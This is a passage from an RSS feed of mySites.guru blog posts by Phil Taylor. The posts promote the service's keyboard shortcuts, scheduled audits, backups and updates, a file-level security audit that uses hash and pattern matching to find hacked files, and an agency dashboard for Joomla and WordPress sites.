&lt;h2&gt;What other keyboard shortcuts does mySites.guru have?&lt;/h2&gt;
&lt;p&gt;if you press the question mark on your keyboard (shift / on my mac) then you will get to the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;Keyboard Shortcuts page&lt;/a&gt; describing other keyboard shortcuts you can use from anywhere.&lt;/p&gt;
&lt;p&gt;These include some of the most commonly used tools such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Mass Remote Installation Of Plugins&lt;/a&gt; (keyboard shortcut: m i)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Update WordPress/Joomla Sites Tool&lt;/a&gt; (keyboard shortcut: m u)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Available Upgrades &amp;amp; Extension/Plugin Updates&lt;/a&gt; (keyboard shortcut: u)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can even toggle dark mode from anywhere simply by pressing d&lt;/p&gt;
&lt;p&gt;Want to quickly logout? Press shift l (thats basically a capital L to logout)&lt;/p&gt;
&lt;p&gt;Want to get back to your list of sites? (s) or just view WordPress Sites (w)&lt;/p&gt;
&lt;p&gt;So many &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;more keyboard shortcuts&lt;/a&gt; are available in your mySites.guru account.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Just some of the long list of keyboard shortcuts in the mySites.guru service&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Navigation tools like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>productivity</category><category>workflow</category><category>navigation</category><enclosure url="https://mysites.guru/_astro/cmdk-1.CCisepD9.webp" length="0" type="image/webp"/></item><item><title>Schedule Audits, Updates &amp; Backups</title><link>https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/</guid><description>Configure time-based and action-based schedules for security audits, snapshots, updates and Akeeba backups across all your mySites.guru connected sites.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; runs a scheduler for Joomla and WordPress sites that handles &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audits&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates&lt;/a&gt;. It works on both a &lt;strong&gt;time-based&lt;/strong&gt; and an &lt;strong&gt;action-based&lt;/strong&gt; model.&lt;/p&gt;
&lt;h2&gt;Audit schedule&lt;/h2&gt;
&lt;p&gt;For example. Audits are run either daily, weekly, or monthly, based on the last time an audit was taken. The time based part is &quot;daily/weekly/monthly&quot; and the action based part is the &quot;time an audit was last taken&quot;. If you manually start an audit then the time is reset, and your schedule is based on that time. So the next audit will be a week after that time (or a day/month depending on what you select)&lt;/p&gt;
&lt;p&gt;Please note: We only run one audit per hostname (server hostname) at a time, and queue any others that are due on the same server to restrict the load we place on a single server. No one wants 100s of audits of sites on the same server at the same time... not even us!&lt;/p&gt;
&lt;p&gt;The audit scheduler allows you to see your chosen schedule, and if you have chosen to disable the schedule you can see that too.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Backup schedule&lt;/h2&gt;
&lt;p&gt;mySites.guru has support for &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup for Joomla and WordPress&lt;/a&gt;, and (currently) &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;All-in-one Migration Plugin&lt;/a&gt; for WordPress.&lt;/p&gt;
&lt;p&gt;Again, you can set &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;daily, weekly, or monthly backup schedules&lt;/a&gt; in your mySites.guru account, you can even &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;start backups from the same screen&lt;/a&gt; or queue the start of &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups on all your Joomla and WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Updates schedule&lt;/h2&gt;
&lt;p&gt;The updates scheduling is slightly different.&lt;/p&gt;
&lt;p&gt;You don&apos;t specify a time for updates of extensions and plugins to happen, you can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto updates for any extension&lt;/a&gt; on a per site, or per update site basis&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On the next &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; we take (currently twice every 24 hours) if we spy that an &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update&lt;/a&gt; is available, then we will attempt to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;apply the update&lt;/a&gt;, and notify you (according to your preferences) if the update was successful or not.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can view the result of the scheduled updates in your account too&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Can you schedule white label reports?&lt;/h2&gt;
&lt;p&gt;Upcoming in the mySites.guru service shortly, you will also be able to schedule white label reports to be sent to you or your clients about their sites, a subset of sites or just one site. &lt;em&gt;More on this soon. Shhh its a secret!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Real-time triggers and near real-time alerting&lt;/h2&gt;
&lt;p&gt;Not so much scheduled, but in almost real-time, the mySites.guru service can alert you to events happening on your website such as&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When a user logs in&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a new user is created&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a non-admin tries to login to admin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When your templates file is modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When your sites configuration file is modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;etc...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These alerts are sent to you according to your notification preferences and can be a real lifesaver if your site has been hacked in the past and you want visibility on whats happening. Regular audits also surface &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files lurking in your webspace&lt;/a&gt; that real-time triggers alone won&apos;t catch.&lt;/p&gt;
&lt;p&gt;For a complete guide to keeping CMS updates, backups, and audits in sync across a large portfolio, see &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;. If you want to go further with alerting, the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt; covers what to watch for and how to act on it.&lt;/p&gt;
&lt;p&gt;Not yet a subscriber? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt; to see what mySites.guru finds on your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>scheduling</category><category>security audits</category><category>updates</category><category>backups</category><enclosure url="https://mysites.guru/_astro/schedule.DbVDpuFA.webp" length="0" type="image/webp"/></item><item><title>Deep Security Audit for WordPress &amp; Joomla</title><link>https://mysites.guru/blog/security-audit-tools/</link><guid isPermaLink="true">https://mysites.guru/blog/security-audit-tools/</guid><description>Surface-level scanners miss hidden malware. File-level audits check every line of code against 20,000+ patterns to find backdoors other tools miss.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Think your WordPress or Joomla site is clean? Surface-level scanners only see what a browser sees. A proper security audit digs into every file in your webspace - and that&apos;s exactly what the mySites.guru audit does. Want to try it? &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt;&lt;/strong&gt; with no credit card required. If you suspect you&apos;ve already been compromised, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;here&apos;s how to tell if your WordPress site has been hacked&lt;/a&gt;. If you&apos;re specifically looking for malware, our dedicated &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; give you focused results for those two threat categories. If the worst has already happened, our &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walk you through recovery step by step.&lt;/p&gt;
&lt;p&gt;In this post I&apos;ll walk through how the mySites.guru security audit works, what it checks, and why it catches things that other tools miss.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Connect unlimited sites to the mySites.guru service&lt;/a&gt;, then you can run &lt;strong&gt;UNLIMITED&lt;/strong&gt; audits of your &lt;strong&gt;UNLIMITED&lt;/strong&gt; sites on demand, or schedule them to run daily, weekly or monthly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some &lt;a href=&quot;https://watchful.net&quot;&gt;other services&lt;/a&gt; &lt;strong&gt;claim&lt;/strong&gt; to have an &quot;audit&quot; tool. Most of the time they mean they have implemented the &lt;a href=&quot;https://sitecheck.sucuri.net/&quot;&gt;Sucuri SiteCheck API&lt;/a&gt;, which only &quot;scans&quot; your site as a visiting browser would, &lt;strong&gt;it doesn&apos;t check the files in your webspace&lt;/strong&gt;, and &lt;strong&gt;doesn&apos;t find anything that is hidden under the surface&lt;/strong&gt; of your rendered webpages. &lt;strong&gt;Be warned.&lt;/strong&gt;  Not all &quot;Audits&quot; are in-depth and comprehensive!&lt;/p&gt;
&lt;p&gt;Make sure you compare apples with apples. Not everyone claiming to be an &quot;apple&quot; is.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At the start of every audit we also run our &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tools, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;capturing over 100 quick checks of your site&lt;/a&gt;. Added to the audit that&apos;s even more checks! These include WordPress configuration checks like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the admin bar logo&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug constant management&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;cleaning up default Sample Page and Hello World content&lt;/a&gt;, each with a one-click fix.&lt;/p&gt;
&lt;p&gt;The audit first compiles a list of all the folders in your webspace - without exceptions - and then grabs a list of the files in those folders.&lt;/p&gt;
&lt;p&gt;We then run an exhaustive process which includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Identifying it the file is a core Joomla or WordPress file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it&apos;s a core file, identifying if that file has been modified since release&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the core file is modified, doing a comparison with the original file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Storing the md5 hash of the file for future comparison&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Looping through every single line of code in every single file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Searching every single line of code, for one of nearly 2000 patterns of previous hacks we have seen, and if found marking a file as &quot;suspect&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Checking the md5 hash of the file against over 14,000 specific md5 hashes of previously declared &quot;hacked&quot; files. There are no false positives, each of these 14,000 md5 hashes has been manually checked and confirmed to match a file which is hacked&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We check the created, modified and other metadata of each file, including the EXIF data on images (where hacks are known to reside!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We identify any encrypted files, PHP error logs, Archive files, files over 2mb in size, zero byte files and many other classifications. See our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;cleaning up dangerous files&lt;/a&gt; for details on why these matter.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the audit is over we notify you so you can login to and review the results. The screenshot below shows the first three sections of the audit tab.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example Audit Results (truncated)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As you can see we display the audit results in the same format as the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tab, with the number of problems, name of the tool, a link to any video, a helpful &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;learn more page&lt;/a&gt;, and a button used to investigate our findings.&lt;/p&gt;
&lt;h2&gt;Suspect files tool&lt;/h2&gt;
&lt;p&gt;Our most popular tool is the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is the tool that lists all the files that have matched either our 20000ish regex patterns, or one of our 14,000 md5 hashes. Just because a file is listed doesnt mean its hacked, unless we specifically state so, as the regex pattern matches are designed to raise false positives and highlight other things (like hidden spammy links to template providers!).&lt;/p&gt;
&lt;p&gt;If your file is a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;known backdoor for a hacker - we mark it as such&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example hacked file, this one is an insecure form that allows anyone to upload any file their like to the webspace!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This example is a &quot;pretend&quot; image that actually has &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hackers code&lt;/a&gt; embedded into the image to allow the hacker to run any PHP code it likes - this specific example is part of a larger hack&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;By clicking any of the file names, you can see a preview of the section of the file we think is suspect. You can also see when it was modified, its size, and its permissions.&lt;/p&gt;
&lt;p&gt;You can use our tools to edit the file directly in mySites.guru and then save the changes, and we will upload them to your site - no need to find your FTP Client! You can also delete the whole file with a single click.&lt;/p&gt;
&lt;h2&gt;Hacked hashes&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Example export from our database.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One of the things that sets us apart from most other services, is that we crowdsource data on hacks and backdoors.&lt;/p&gt;
&lt;p&gt;In practice, this means that once a hack is discovered and confirmed on one Joomla site (for example), patterns and regexp are created, approved, and rolled out to the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;80,000+ sites&lt;/a&gt; the next time they are audited. Including your sites!&lt;/p&gt;
&lt;p&gt;This means you benefit from the discovery of emerging hacks and trends we see on other sites. Our system is totally dynamic and self-improving, even without human interaction and people often find hacks on their site when they add them to mySites.guru, that have been left dormant for years, or badly cleaned on previous clean ups.&lt;/p&gt;
&lt;h2&gt;Fully automated detection improvements&lt;/h2&gt;
&lt;p&gt;We can also manually improve the audit (and we do) multiple times a day, and with our automatic rollout/upgrade of our tools connector on your site - you get the very latest protection without having to manually upgrade our connector!&lt;/p&gt;
&lt;h2&gt;File information tools&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;One of the main sections in the mySites.guru audit tab is the list of File Information Tools.&lt;/p&gt;
&lt;p&gt;These allow you to investigate a list of files that match certain classifications, such as encrypted files, or files over 2mb. The audit also surfaces &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files and dot-folders&lt;/a&gt; that most file managers never show you and that hackers routinely exploit.&lt;/p&gt;
&lt;p&gt;Over the years these are the tools we have used to identify new and emerging hacks, or to look for something specific, like files that allow file uploads or sending email for example. The audit also includes a dedicated &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;email configuration check&lt;/a&gt; that sends a real test email from your site and verifies it arrives.&lt;/p&gt;
&lt;h2&gt;What makes this audit different?&lt;/h2&gt;
&lt;p&gt;The mySites.guru audit is unlike any other service you will read about.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We do not buy in someone else&apos;s API&lt;/strong&gt;, all our hack detection is based on over a decade of real life hacks for Joomla and WordPress (and not generic rule based detection like others)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If your site is hacked, mySites.guru will discover that&lt;/strong&gt;, and inform you, and give you the tools you need to fix your site yourself! A real-world example: the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; was detected across thousands of sites through our md5 hash matching and suspect content patterns. See our breakdown of the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework vulnerability&lt;/a&gt; for another example of how hidden extension dependencies create security blind spots that only a file-level audit catches. After all, mySites.guru was created because, at the time, I was doing all this manually myself to fix hacked client sites and I needed a way to automate much of what I did.&lt;/p&gt;
&lt;h2&gt;Out of your depth and need help?&lt;/h2&gt;
&lt;p&gt;If the mySites.guru audit finds your Joomla or WordPress site is hacked, and you are unsure how to fix it with our tools, or just want us to take care of everything for you, you can escalate this to us using the service at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;https://fix.mysites.guru/&lt;/a&gt;&lt;/strong&gt; for &lt;strong&gt;SET FEE priced hack fixes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not a subscriber yet? &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free site audit&lt;/a&gt;&lt;/strong&gt; - no credit card, no commitment. Connect your site and see what&apos;s hiding in your webspace.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;See how these tools fit into a broader strategy in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>audit tools</category><category>hack detection</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/audit.CP2a34sl.webp" length="0" type="image/webp"/></item><item><title>The Agency Dashboard for All Your Sites</title><link>https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/</guid><description>The mySites.guru main dashboard surfaces SSL status, update counts, audit alerts, uptime and more for every connected Joomla or WordPress site at a glance.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru dashboard for &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; pulls your sites&apos; key information into one place. Having this data to hand, instead of spread across disparate systems, spreadsheets, and post-it notes, means faster decisions and a clear view of what needs doing.&lt;/p&gt;
&lt;h2&gt;The main sites list&lt;/h2&gt;
&lt;p&gt;The first page you get to after login is the main list of your sites.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Main Sites List In Your Account&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This page brings together all your Joomla and WordPress sites. In a single mySites.guru account you can have UNLIMITED sites of any platform.&lt;/p&gt;
&lt;p&gt;On this page we list the most important information visually, so you can immediately see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Number of tags on a site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Audit not yet viewed notification&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No SSL Certificate used on site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Number of &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates available&lt;/a&gt; per site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The site&apos;s server PHP Version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The sites&apos;s platform (Joomla/WordPress) version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the site is &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For version numbers, we highlight them green if the latest version, orange if out of date and red if end of life.&lt;/p&gt;
&lt;p&gt;From this page you can even export a CSV List of your sites and their overview information for processing in a spreadsheet or other system.&lt;/p&gt;
&lt;p&gt;You can also use the quick links to view your site, or, if configured, use the admin link to Auto Login to your Joomla/WordPress Admin console - a single click login!&lt;/p&gt;
&lt;p&gt;The globe icon = Site frontend
The link icon = One Click Admin Login&lt;/p&gt;
&lt;h2&gt;The left menu: check important items&lt;/h2&gt;
&lt;p&gt;Depending dynamically on the information we have on your sites, your left menu will also have some important checks as menu items to filter your sites list.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Left Menu&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;These are just some of the menu items that can be visible based on the data on your sites, bringing together, in one place, a list of tasks you can undertake to get your sites in better shape, to allow you to see the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates available&lt;/a&gt; on your sites and then by clicking the menu links, to filter your sites by that item - showing which sites you need to take action on.&lt;/p&gt;
&lt;h2&gt;Other site information&lt;/h2&gt;
&lt;p&gt;Just to highlight some other menu items that bring together your site data in one place, you can find the &quot;Other Site Information menu group, this contains several items such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Webservers, by hostname&lt;/strong&gt; - a list of your server hostnames and the filter to see which sites are on which servers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Joomla Extensions&lt;/strong&gt; - a complete set of tools for viewing and managing your Joomla extensions, and listing which sites they are on, and their versions and data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Joomla Update Site&lt;/strong&gt;s - a list of all the Joomla Update Sites for your extensions, and the ability to set and disable automatic extension/plugin updates&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Site Screenshots&lt;/strong&gt; - FREE graphical screenshots of the home page of every site you have in your account, and links to enable a public &quot;show off&quot; page of these.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your SSL Certificate Expirations&lt;/strong&gt; - see below...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SSL expiration tracking&lt;/h2&gt;
&lt;p&gt;One of these &quot;Other Site Information&quot; Menu items is for SSL Expiration Dates.&lt;/p&gt;
&lt;p&gt;On this page we bring together in one place, a list of all your sites with SSL Certificates installed, and list, by expiration date, their certificate issuers and expiration date.&lt;/p&gt;
&lt;p&gt;The items nearer the top will expire first (But dont worry, mySites.guru checks your site several times a day with the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;, and if your SSL is getting close to expiration we alert you by email!)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s a quick look at how mySites.guru pulls data from unlimited Joomla and WordPress sites into one dashboard.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Site intelligence is covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>dashboard</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/_astro/39.CwEfQbBb.webp" length="0" type="image/webp"/></item><item><title>Site Management Is More Than Just Updates</title><link>https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/</link><guid isPermaLink="true">https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/</guid><description>Real site management means security audits, best practice checks, and hack detection - not just bulk updates, backups, and uptime pings.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;Managed site hosting&quot;, &quot;managed server hosting&quot;, &quot;managed updates&quot; - you hear it everywhere. But &lt;strong&gt;there is so much more than updates, backups, and monitoring&lt;/strong&gt; needed to run a successful agency full of sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;At mySites.guru, we manage &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;tens of thousands of Joomla and WordPress sites&lt;/a&gt;, backed by &lt;a href=&quot;https://www.phil-taylor.com&quot;&gt;over a decade of experience within the Joomla project&lt;/a&gt;, delivering architectures for large companies, small companies, and digital agencies.&lt;/p&gt;
&lt;p&gt;There is so much more to website management than running bulk updates, backups, and checking for uptime.&lt;/p&gt;
&lt;p&gt;Plenty of services exist for WordPress, and a handful for Joomla - but very few &lt;strong&gt;handle both platforms&lt;/strong&gt; the way mySites.guru does. Even the big players like GoDaddy have bought companies like ManageWP and rebranded it &lt;a href=&quot;https://www.godaddy.com/en-uk/pro/hub-dashboard&quot;&gt;GoDaddyPro&lt;/a&gt; (WordPress only, though).&lt;/p&gt;
&lt;p&gt;Building a tool that does mass updates, backups, and uptime is table stakes. We&apos;ve watched companies attempt it as a side project with contract help. The hard part is everything else.&lt;/p&gt;
&lt;h2&gt;Why is mySites.guru different?&lt;/h2&gt;
&lt;p&gt;If you run a digital agency or freelance, you need &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;a complete solution&lt;/a&gt;. Not just another updates dashboard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Site management is hard work.&lt;/strong&gt; When a customer calls saying their &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;site is hacked&lt;/a&gt;, they blame you, not their underinvestment. We get it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best practice&lt;/a&gt; is the key to preventative maintenance.&lt;/strong&gt; But it&apos;s hard to keep on top of, hard to consistently apply to all sites - especially when you&apos;ve moved on to the next build or customer, and new attacks keep appearing.&lt;/p&gt;
